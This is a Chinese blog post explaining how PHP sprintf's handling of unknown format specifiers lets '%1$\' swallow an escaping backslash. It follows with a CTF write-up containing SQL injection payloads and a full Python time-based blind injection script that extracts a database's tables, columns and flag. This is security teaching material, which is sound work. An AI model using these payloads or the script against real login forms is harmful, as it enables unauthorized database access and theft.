美文网首页
SQLi之sprintf 格式漏洞

SQLi之sprintf 格式漏洞

作者: gelinlang | 来源:发表于2019-04-06 15:54 被阅读0次

    sprintf() 函数把格式化的字符串写入变量中。
    arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

    注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。
    语法:sprintf(format,arg1,arg2,arg++),format和arg1是必需的。
    例:

    <?php
    $number = 123;
    $txt = sprintf("带两位小数:%1\$.2f
    <br>不带小数:%1\$u",$number);
    echo $txt;
    ?>
    

    输出带有两位小数:123.00 不带小数:123
    但是在php源码中只对15种类型做了匹配。

    %% - 返回一个百分号 %
    %b - 二进制数
    %c - ASCII 值对应的字符
    %d - 包含正负号的十进制数(负数、0、正数)
    %e - 使用小写的科学计数法(例如 1.2e+2)
    %E - 使用大写的科学计数法(例如 1.2E+2)
    %u - 不包含正负号的十进制数(大于等于 0)
    %f - 浮点数(本地设置)
    %F - 浮点数(非本地设置)
    %g - 较短的 %e 和 %f
    %G - 较短的 %E 和 %f
    %o - 八进制数
    %s - 字符串
    %x - 十六进制数(小写字母)
    %X - 十六进制数(大写字母) 
    

    而其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了,如果%后面出现一个,那么php会把\当作一个格式化字符的类型, 也就是%\或者%1$\这样,因为没有此类型的匹配导致被替换为空。

    实例:
    i春秋上的一道CTF:SQLi,页面显示登陆框,查看源码和扫描目录,没发现。测试admin/admin,显示密码错误,说明用户admin存在。然后用burpsuite的intruder模块测试下哪些字符不能用。
    发现都返回username error,但是%返回不一样,有一个sprintf()错误。可以利用上述的漏洞。
    构造

    %1$' or 1=1#
    返回password error,
    %1$' or 1=2#
    返回usernam error。
    

    说明%1$起作用了。
    接下来写脚本,

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import requests
    import time
    
    chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!@#$%^&*()_+-="
    url = "http://48fb53c69976426ea6612bcaa25d53903632d297359a4a1f.changame.ichunqiu.com/"
    name = ""
    
    # 难得的爆长度了,随便选个较大的。
    for i in range(1, 50):
        print(i)
        for char in chars:
            #这里用时间盲注,也可以用布尔盲注,判断返回的是username error还是password error就行。
            # 爆数据库名
            # payload = "%1$' or if(ascii(substr(database()," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            # 爆表名
            # payload = "%1$' or if(ascii(substr((select table_name from information_schema.tables " \
            #           "where table_schema=database() limit 0,1)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            # 爆列名
            # payload = "%1$' or if(ascii(substr((select column_name from information_schema.columns " \
            #           "where table_name=0x666c6167 limit 0,1)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            # 爆字段
            payload = "%1$' or if(ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
    
            data = {
                "username": payload,
                "password": "1"
            }
    
            start = time.time()
            res = requests.post(url, data=data)
            end = time.time()
            if end - start >= 5:
                name += char
                print(name)
                break
    

    flag如下


    图片.png

    相关文章

      网友评论

          本文标题:SQLi之sprintf 格式漏洞

          本文链接:https://www.haomeiwen.com/subject/xtmriqtx.html